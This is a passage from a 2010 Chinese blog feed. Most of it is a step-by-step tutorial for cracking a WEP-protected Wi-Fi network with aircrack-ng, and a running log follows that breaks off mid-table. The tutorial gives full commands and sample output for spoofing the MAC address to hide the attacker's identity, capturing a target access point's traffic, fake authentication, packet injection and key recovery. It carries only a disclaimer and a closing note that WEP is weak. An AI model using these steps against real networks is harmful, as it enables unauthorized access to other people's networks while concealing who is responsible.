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		<title>WEP无线网络破解指南</title>
		<link>http://meiyou.org/2010/05/wep-cracking/</link>
		<comments>http://meiyou.org/2010/05/wep-cracking/#comments</comments>
		<pubDate>Sat, 01 May 2010 12:17:17 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[个人爱好]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[大二]]></category>
		<category><![CDATA[学习记录]]></category>

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		<description><![CDATA[本文主要阐述如何对WEP加密的无线网络进行破解，旨在学术交流，切勿用之非法目的！

如遇非法之情事，与本文作者无关。]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;"><span style="color: #ff0000;">本文旨在学术交流，切勿用之非法目的。</span></p>
<h2>背景&amp;前提</h2>
<ol>
<li>本文所阐述的破解技术是基于<a title="有線等效加密-维基百科" href="http://zh.wikipedia.org/zh/WEP">WEP</a>格式的加密无线网络。</li>
<li>本文假定你使用的是Ubuntu Linux操作系统，Windows平台下所用方法与本文类似。</li>
<li>本文假定你有一个可以接收无线信号的网卡，同时该网卡支持监听(monitor)模式。</li>
<li>本文假定你的网卡可以接收到无线信号，即在你的周围有无线信号。</li>
</ol>
<h2>准备工作</h2>
<p>在正式进入破解之前，还是需要做一些准备工作的。</p>
<ol>
<li>
<h3>安装aircrack-ng无线破解软件</h3>
<ol>
<li>打开终端（Applications-&gt;Accessories-&gt;Terminal）。</li>
<li>输入命令：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> aircrack-ng</pre></div></div>

</li>
<li>这时aircrack-ng会自动下载并安装。</li>
<li>（完成后可在终端中输入以下命令

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> aircrack-ng <span style="color: #660033;">--help</span></pre></div></div>

<p>来测试是否安装成功）。</li>
<li>其实，下载的aircrack-ng不仅仅是“一个”程序，而是一个套件。本文中，我们将会用到其中的：
<ul>
<li>airmon-ng</li>
<li>airodump-ng</li>
<li>aireplay-ng</li>
<li>aircrack-ng</li>
</ul>
</li>
</ol>
</li>
<li>
<h3>获取本机无线网卡信息</h3>
<p>首先我们应该知道我们的无线网卡在系统中叫什么名字（也就是标识）。</p>
<ol>
<li> 输入命令：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">ifconfig</span></pre></div></div>

</li>
<li>在输出的内容中，我们应该可以看到类似于&#8221;wlan0&#8243;的标识，如下图所示。

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">wlan0     Link encap:Ethernet  HWaddr 00:<span style="color: #000000;">22</span>:fa:<span style="color: #000000;">88</span>:<span style="color: #000000;">50</span>:4e
          inet6 addr: fe80::20da:a7ff:fe90:a6f5<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">64</span> Scope:Link
          UP BROADCAST MULTICAST  MTU:<span style="color: #000000;">1500</span>  Metric:<span style="color: #000000;">1</span>
          RX packets:<span style="color: #000000;">1961</span> errors:<span style="color: #000000;">0</span> dropped:<span style="color: #000000;">0</span> overruns:<span style="color: #000000;">0</span> frame:<span style="color: #000000;">0</span>
          TX packets:<span style="color: #000000;">2123</span> errors:<span style="color: #000000;">0</span> dropped:<span style="color: #000000;">0</span> overruns:<span style="color: #000000;">0</span> carrier:<span style="color: #000000;">0</span>
          collisions:<span style="color: #000000;">0</span> txqueuelen:<span style="color: #000000;">1000</span>
          RX bytes:<span style="color: #000000;">1838600</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1.8</span> MB<span style="color: #7a0874; font-weight: bold;">&#41;</span>  TX bytes:<span style="color: #000000;">473232</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">473.2</span> KB<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>（后文中，wlan0就表示我们要操纵的无线网卡）</li>
<li>输出内容HWaddr后便是无线网卡（wlan0）的MAC地址 00:22:fa:88:50:4e</li>
</ol>
</li>
<li>
<h3>修改无线网卡地址（推荐）</h3>
<p>如果你不想被别人知道你的真实身份的话，建议你修改自己的无线网卡地址（MAC地址）。<br />
在此我们使用<a title="GNU Mac Changer" href="http://www.alobbs.com/macchanger">macchanger</a>这个程序来修改自己的网卡地址。</p>
<ol>
<li>安装macchanger：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> macchanger</pre></div></div>

</li>
<li>在修改之前，需要把网卡停止：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">ifconfig</span> wlan0 down</pre></div></div>

</li>
<li>将自己的网卡地址修改成随机地址：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> macchanger <span style="color: #660033;">-r</span> wlan0</pre></div></div>

<p>命令中的-r 表示将网卡wlan0的网卡地址修改为任意值，我们此时修改为：22:da:a7:90:a6:f5。</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">Current MAC: 00:<span style="color: #000000;">22</span>:fa:<span style="color: #000000;">88</span>:<span style="color: #000000;">50</span>:4e <span style="color: #7a0874; font-weight: bold;">&#40;</span>unknown<span style="color: #7a0874; font-weight: bold;">&#41;</span>
Faked MAC:   <span style="color: #000000;">22</span>:da:a7:<span style="color: #000000;">90</span>:a6:f5 <span style="color: #7a0874; font-weight: bold;">&#40;</span>unknown<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

</li>
<li>重新启用无线网卡：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">ifconfig</span> wlan0 up</pre></div></div>

</li>
</ol>
</li>
</ol>
<h2>开始破解</h2>
<p>准备工作完成后，便可进入破解工作。</p>
<ol>
<li>
<h3>将网卡调整到监听模式</h3>
<p>在正常状态下，无线网卡是无法侦测到附近电脑与无线接入点之间的通信的。所以为了获取它们之间的通信数据，我们需要开启无线网卡的监听模式。</p>
<ol>
<li> 在修改之前通过命令：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">iwconfig</pre></div></div>

<p>来查看现在的网卡信息，并通过如下命令：</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> airmon-ng start wlan0</pre></div></div>

<p>来开启无线网卡wlan0的监听模式。</li>
<li>（开启之后的监听网卡名字默认为mon0，可通过命令：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">iwconfig</pre></div></div>

<p>来查看网卡信息，我们会发现现在系统多出一个网卡mon0，状态为：Monitor态）</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">mon0      IEEE 802.11bg  Mode:Monitor  Frequency:<span style="color: #000000;">2.432</span> GHz  Tx-Power=<span style="color: #000000;">20</span> dBm
          Retry  long limit:<span style="color: #000000;">7</span>   RTS thr:off   Fragment thr:off
          Power Management:off</pre></div></div>

</li>
</ol>
</li>
<li>
<h3>查看附近无线网络</h3>
<p>现在我们就可以查看附近有哪些无线网络了。</p>
<ol>
<li> 通过命令：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> airodump-ng mon0</pre></div></div>

<p>来查看无线网络，结果如下所示（经过处理）：</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">CH  <span style="color: #000000;">5</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> Elapsed: <span style="color: #000000;">12</span> s <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> 20XX-XX-02 <span style="color: #000000;">10</span>:<span style="color: #000000;">29</span>                                         
&nbsp;
 BSSID              PWR  Beacons    <span style="color: #666666; font-style: italic;">#Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID            </span>
&nbsp;
 00:<span style="color: #000000;">23</span>:CD:5A:<span style="color: #000000;">94</span>:<span style="color: #000000;">12</span>  <span style="color: #660033;">-47</span>       <span style="color: #000000;">75</span>        <span style="color: #000000;">2</span>    <span style="color: #000000;">0</span>   <span style="color: #000000;">6</span>  <span style="color: #000000;">54</span> . WEP  WEP         zhy
 00:<span style="color: #000000;">25</span>:<span style="color: #000000;">86</span>:XX:XX:XX  <span style="color: #660033;">-58</span>       <span style="color: #000000;">70</span>        <span style="color: #000000;">6</span>    <span style="color: #000000;">0</span>   <span style="color: #000000;">6</span>  <span style="color: #000000;">54</span> . WEP  WEP         <span style="color: #000000;">317</span>
 C8:3A:<span style="color: #000000;">35</span>:XX:XX:XX  <span style="color: #660033;">-75</span>       <span style="color: #000000;">23</span>        <span style="color: #000000;">0</span>    <span style="color: #000000;">0</span>   <span style="color: #000000;">6</span>  54e  WPA2 CCMP   PSK  <span style="color: #000000;">415</span>
 00:<span style="color: #000000;">23</span>:CD:XX:XX:XX  <span style="color: #660033;">-75</span>       <span style="color: #000000;">21</span>        <span style="color: #000000;">0</span>    <span style="color: #000000;">0</span>   <span style="color: #000000;">3</span>  <span style="color: #000000;">54</span> . WEP  WEP         <span style="color: #000000;">314</span>
 00:<span style="color: #000000;">27</span>:<span style="color: #000000;">19</span>:XX:XX:XX  <span style="color: #660033;">-73</span>       <span style="color: #000000;">28</span>        <span style="color: #000000;">0</span>    <span style="color: #000000;">0</span>   <span style="color: #000000;">6</span>  <span style="color: #000000;">54</span> . WPA2 CCMP   PSK  TP-LINK_78CFD4   
&nbsp;
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                 
&nbsp;
 <span style="color: #7a0874; font-weight: bold;">&#40;</span>not associated<span style="color: #7a0874; font-weight: bold;">&#41;</span>   00:<span style="color: #000000;">25</span>:D3:XX:XX:XX  <span style="color: #660033;">-70</span>    <span style="color: #000000;">0</span> - <span style="color: #000000;">1</span>     <span style="color: #000000;">42</span>       <span style="color: #000000;">36</span>
 <span style="color: #7a0874; font-weight: bold;">&#40;</span>not associated<span style="color: #7a0874; font-weight: bold;">&#41;</span>   00:1C:BF:XX:XX:XX  <span style="color: #660033;">-70</span>    <span style="color: #000000;">0</span> - <span style="color: #000000;">1</span>      <span style="color: #000000;">1</span>        <span style="color: #000000;">3</span>
 <span style="color: #7a0874; font-weight: bold;">&#40;</span>not associated<span style="color: #7a0874; font-weight: bold;">&#41;</span>   00:<span style="color: #000000;">25</span>:D3:XX:XX:XX  <span style="color: #660033;">-56</span>    <span style="color: #000000;">0</span> - <span style="color: #000000;">1</span>     <span style="color: #000000;">14</span>       <span style="color: #000000;">72</span>
 <span style="color: #7a0874; font-weight: bold;">&#40;</span>not associated<span style="color: #7a0874; font-weight: bold;">&#41;</span>   00:<span style="color: #000000;">26</span>:<span style="color: #000000;">82</span>:XX:XX:XX  <span style="color: #660033;">-76</span>    <span style="color: #000000;">0</span> - <span style="color: #000000;">1</span>     <span style="color: #000000;">21</span>        <span style="color: #000000;">5</span>  FAST
 00:<span style="color: #000000;">23</span>:CD:5A:<span style="color: #000000;">94</span>:<span style="color: #000000;">12</span>  00:<span style="color: #000000;">13</span>:02:XX:XX:XX  <span style="color: #660033;">-76</span>   <span style="color: #000000;">48</span> <span style="color: #660033;">-54</span>      <span style="color: #000000;">0</span>        <span style="color: #000000;">2</span></pre></div></div>

</li>
<li>当周围环境中的无线网络接入点基本显示完全后，Ctrl+C结束当前程序。但是不要关闭当前窗口，因为我们还要利用这些数据，为方便下次使用你也可以复制这些数据到文本中。</li>
</ol>
</li>
<li>
<h3>获取指定无线接入点数据包</h3>
<p>比如我们要破解上面的一个BSSID为：00:23:CD:5A:94:12的接入点（ESSID为：zhy），我们就需要获取它相应的数据包。</p>
<ol>
<li> 打开一个新的终端，并输入命令：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> airodump-ng mon0 <span style="color: #660033;">-w</span> meiyou <span style="color: #660033;">--bssid</span> 00:<span style="color: #000000;">23</span>:CD:5A:<span style="color: #000000;">94</span>:<span style="color: #000000;">12</span> <span style="color: #660033;">-c</span> <span style="color: #000000;">6</span></pre></div></div>

<p>其中，参数-w指明数据保存文件（meiyou），参数&#8211;bssid指明要截取数据包的接入点MAC地址，参数-c指明获取的频道为6。</li>
<li>（当前程序不要中止，再打开一个新的终端，进行下一步）</li>
</ol>
</li>
<li>
<h3>对无线接入点进行注入（推荐）</h3>
<p>如果你感觉上面数据包截取的数据（#Data项）速度太慢，那么你最好对该接入点进行注入。（注：有时，该方法对某些类型的接入点不太好用）</p>
<ol>
<li>
<h4>和该接入点进行关联</h4>
<ol>
<li> 在刚才打开的新终端下，输入命令：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> aireplay-ng <span style="color: #660033;">-1</span> <span style="color: #000000;">0</span> <span style="color: #660033;">-a</span> 00:<span style="color: #000000;">23</span>:CD:5A:<span style="color: #000000;">94</span>:<span style="color: #000000;">12</span> <span style="color: #660033;">-h</span> <span style="color: #000000;">22</span>:da:a7:<span style="color: #000000;">90</span>:a6:f5  mon0</pre></div></div>

<p>其中，参数-1指明这是虚拟认证（Fake authentication），参数0含义不明（官方解释为：0 reassociation timing in seconds），参数-a指明接入点MAC地址，参数-h指明本机MAC地址，mon0为本机网卡名称。</li>
<li>如果返回结果如下所示，就说明你已经和该接入点关联起来了：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">09:<span style="color: #000000;">50</span>:<span style="color: #000000;">52</span>  Waiting <span style="color: #000000; font-weight: bold;">for</span> beacon frame <span style="color: #7a0874; font-weight: bold;">&#40;</span>BSSID: 00:<span style="color: #000000;">23</span>:CD:5A:<span style="color: #000000;">94</span>:<span style="color: #000000;">12</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> on channel <span style="color: #000000;">6</span>
&nbsp;
09:<span style="color: #000000;">50</span>:<span style="color: #000000;">52</span>  Sending Authentication Request <span style="color: #7a0874; font-weight: bold;">&#40;</span>Open System<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>ACK<span style="color: #7a0874; font-weight: bold;">&#93;</span>
09:<span style="color: #000000;">50</span>:<span style="color: #000000;">52</span>  Authentication successful
09:<span style="color: #000000;">50</span>:<span style="color: #000000;">52</span>  Sending Association Request <span style="color: #7a0874; font-weight: bold;">&#91;</span>ACK<span style="color: #7a0874; font-weight: bold;">&#93;</span>
09:<span style="color: #000000;">50</span>:<span style="color: #000000;">52</span>  Association successful :-<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>AID: <span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

</li>
</ol>
</li>
<li>
<h4>对该接入点进行注入</h4>
<ol>
<li> 通过命令：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> aireplay-ng <span style="color: #660033;">-2</span> <span style="color: #660033;">-F</span> <span style="color: #660033;">-p</span> 0841 <span style="color: #660033;">-c</span> ff:ff:ff:ff:ff:ff <span style="color: #660033;">-b</span> 00:<span style="color: #000000;">23</span>:CD:5A:<span style="color: #000000;">94</span>:<span style="color: #000000;">12</span> <span style="color: #660033;">-h</span> <span style="color: #000000;">22</span>:da:a7:<span style="color: #000000;">90</span>:a6:f5 mon0</pre></div></div>

<p>其中，参数-2指明这是Interactive packet replay方式，参数-F指明使用第一个匹配的数据包，参数-p指明数据帧的控制字符，参数-c指明目的MAC地址，参数-b指明接入点MAC地址，参数-h指明源地址MAC地址，mon0为本机网卡名称。</li>
<li>如果返回结果如下所示，那么这时，上一个正在截获数据的终端的#Data项数值应该会疯涨，表明注入成功。

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">Saving chosen packet <span style="color: #000000; font-weight: bold;">in</span> replay_src-0502-095620.cap
You should also start airodump-ng to capture replies.
&nbsp;
Sent <span style="color: #000000;">3152</span> packets...<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">499</span> pps<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

</li>
<li>（当前程序不要中止，因为我们需要一直进行注入，直到下一步的破解成功为止）</li>
</ol>
</li>
</ol>
</li>
<li>
<h3>破解WEP密码</h3>
<p>现在，airodump-ng命令正在截获指定接入点的通信数据，aireplay-ng命令正在对指定接入点进行注入，以增加数据量。那么现在，我们就可以通过另一个命令来处理这些正在截获的数据，以求破解其中的WEP密码。</p>
<ol>
<li> 打开一个新的终端，输入命令：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">ls</span> meiyou<span style="color: #000000; font-weight: bold;">*</span></pre></div></div>

<p>列出了刚才保存的数据文件（meiyou-01.cap），如果你多次截取的话，应该会有多个cap文件。</li>
<li>通过如下命令，加载数据截取文件，破解WEP密码：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> aircrack-ng meiyou-01.cap</pre></div></div>

<p>如果你需要加载多个文件，同时进行破解，输入如下命令：</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> aircrack-ng meiyou-<span style="color: #000000; font-weight: bold;">*</span>.cap</pre></div></div>

</li>
<li>现在aircrack-ng程序正在对数据截取文件进行破解，企图找到WEP密码，如果没有找到密码，aircrack-ng程序会等到另一终端截（airodump-ng）取到5000个数据后，重新进行破解。</li>
<li>（现在你应该开着3个终端，一个正在截取接入点数据，一个正在对接入点进行注入，还有一个正在对所截取的文件进行WEP密码破解。如果最后一个终端显示出密码话，进入下一步收尾工作）</li>
<li>如果一切顺利，密码会自动显示出来：

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">                                Aircrack-ng <span style="color: #000000;">1.1</span>
&nbsp;
                <span style="color: #7a0874; font-weight: bold;">&#91;</span>00:01:<span style="color: #000000;">41</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Tested <span style="color: #000000;">87</span> keys <span style="color: #7a0874; font-weight: bold;">&#40;</span>got <span style="color: #000000;">25012</span> IVs<span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
   KB    depth   byte<span style="color: #7a0874; font-weight: bold;">&#40;</span>vote<span style="color: #7a0874; font-weight: bold;">&#41;</span>
    <span style="color: #000000;">0</span>    <span style="color: #000000;">0</span><span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000;">1</span>   <span style="color: #000000;">62</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">37120</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">11</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33536</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> 4C<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33536</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">70</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33536</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">87</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33024</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
    <span style="color: #000000;">1</span>    <span style="color: #000000;">0</span><span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000;">1</span>   <span style="color: #000000;">61</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">39168</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">27</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">35072</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> AF<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">34304</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> CC<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">34048</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">83</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33792</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
    <span style="color: #000000;">2</span>    <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000;">5</span>   1F<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33792</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> 2C<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33280</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> 3E<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33280</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">82</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33024</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> 9F<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33024</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
    <span style="color: #000000;">3</span>    <span style="color: #000000;">0</span><span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000;">3</span>   <span style="color: #000000;">64</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">34816</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">58</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">34048</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> B5<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">34048</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> 6A<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33280</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> 7C<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33280</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
    <span style="color: #000000;">4</span>    <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000;">7</span>   <span style="color: #000000;">75</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">34304</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">50</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33792</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> F1<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33792</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">10</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33536</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">23</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">33536</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> 
&nbsp;
                     KEY FOUND<span style="color: #000000; font-weight: bold;">!</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">31</span>:<span style="color: #000000;">32</span>:<span style="color: #000000;">33</span>:<span style="color: #000000;">34</span>:<span style="color: #000000;">35</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>ASCII: <span style="color: #000000;">12345</span> <span style="color: #7a0874; font-weight: bold;">&#41;</span>
	Decrypted correctly: <span style="color: #000000;">100</span><span style="color: #000000; font-weight: bold;">%</span></pre></div></div>

</li>
</ol>
</li>
<li>
<h3>收尾工作</h3>
<ol>
<li>终止aireplay-ng程序对无线接入点的注入（Ctrl+Z终止程序）</li>
<li>终止airodump-ng程序对数据的截获（Ctrl+C 终止程序）</li>
<li>至此，完成对指定接入点的WEP密码破解。</li>
</ol>
</li>
</ol>
<h2>反思</h2>
<p>就这样，我们很轻松的完成了对WEP无线网络密码的破解工作，由此我们也可以看出采用WEP密码格式加密的无线网络的安全性很低，如果有可能，接入点应采用更高级的加密格式，如WPA/WPA2，而且现在大部分的路由也都支持这种加密格式。</p>
<p>最后，再次重申，本文旨在学术交流，切勿用之非法目的！如遇非法之情事，与本文作者无关。</p>
<hr />
<h2>参考&amp;延伸：</h2>
<ul>
<li><strong>Aircrack-ng </strong>/ <a href="http://www.aircrack-ng.org">http://www.aircrack-ng.org</a> (需用代理）<strong><br />
</strong></li>
<li>Ubuntu 9.04破解WEP无线加密 / <a href="http://www.zoyzo.cn/thread-8540-1-1.html">http://www.zoyzo.cn/thread-8540-1-1.html</a></li>
<li>无线破解攻击工具使用详解 / <a href="http://blog.csdn.net/MHY_MHY/archive/2008/11/07/3244543.aspx">http://blog.csdn.net/MHY_MHY/archive/2008/11/07/3244543.aspx</a></li>
<li>Ubuntu 使用aircrack-ng方法 / <a href="http://forum.ubuntu.org.cn/viewtopic.php?f=126&amp;t=239496&amp;start=0">http://forum.ubuntu.org.cn/viewtopic.php?f=126&amp;t=239496&amp;start=0</a></li>
<li>[抄袭]如何破解没有客户端连接的wep密码 / <a href="http://forum.ubuntu.org.cn/viewtopic.php?f=124&amp;t=154171">http://forum.ubuntu.org.cn/viewtopic.php?f=124&amp;t=154171</a></li>
<li>让你破解WEP的时候DATA跑得快起来 / <a href="http://www.114dn.com/pc/wl/pc/wl/wx/2009/1105/163.html">http://www.114dn.com/pc/wl/pc/wl/wx/2009/1105/163.html</a></li>
<li>我的无线安全配置总结 / <a href="http://blog.csdn.net/MHY_MHY/archive/2009/03/01/3947827.aspx">http://blog.csdn.net/MHY_MHY/archive/2009/03/01/3947827.aspx</a></li>
</ul>
<hr />
<p><small>© 郭一实 for <a href="http://meiyou.org">meiyou.org</a>, 2010. |
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		<item>
		<title>[记录]运动&amp;跑步</title>
		<link>http://meiyou.org/2010/03/exercise/</link>
		<comments>http://meiyou.org/2010/03/exercise/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 14:38:39 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[个人爱好]]></category>
		<category><![CDATA[RBT]]></category>
		<category><![CDATA[做最好的自己]]></category>
		<category><![CDATA[大二]]></category>
		<category><![CDATA[日志汇总]]></category>

		<guid isPermaLink="false">http://meiyou.org/?p=1913</guid>
		<description><![CDATA[跑步锻炼身体]]></description>
			<content:encoded><![CDATA[<h2>跑步记录</h2>
<p style="padding-left: 30px;"><em>以下每一条记录表示106+14米的距离所用时间.</em></p>
<p style="padding-left: 30px;"><em>[Update:20100414]</em></p>
<p style="padding-left: 60px;"><em>除了每天的“规定”10趟外，每天把吃饭的饭量（按两算）兑换成相应的跑步长度。现在的比率为1两1趟。</em></p>
<p style="padding-left: 30px;"><em>[Update:20100602]</em></p>
<p style="padding-left: 60px;"><em>现在每天“正常”10趟跑，没有其他额外的“措施”了。每天跑太多，腿受不了。</em></p>
<p style="padding-left: 60px;"><em><span style="text-decoration: line-through;"><span style="color: #ff0000;">06.02.2010~06.08.2010休息一个星期，在此期间，停止晚上跑步！（腿疼）</span></span><br />
</em></p>
<h3>20100723</h3>
<p>昨天晚上去东区的运动场跑步，1000米跑了4分27秒。人生第一次啊。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="85"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td colspan="3" width="256" height="17" align="CENTER" valign="MIDDLE"><strong>20100719-22:22</strong></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
<td align="CENTER" valign="MIDDLE">00:00:33</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:09</td>
<td align="CENTER" valign="MIDDLE">00:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:01:49</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:29</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5+6</td>
<td align="CENTER" valign="MIDDLE">00:03:57</td>
<td align="CENTER" valign="MIDDLE">00:01:28</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:04:40</td>
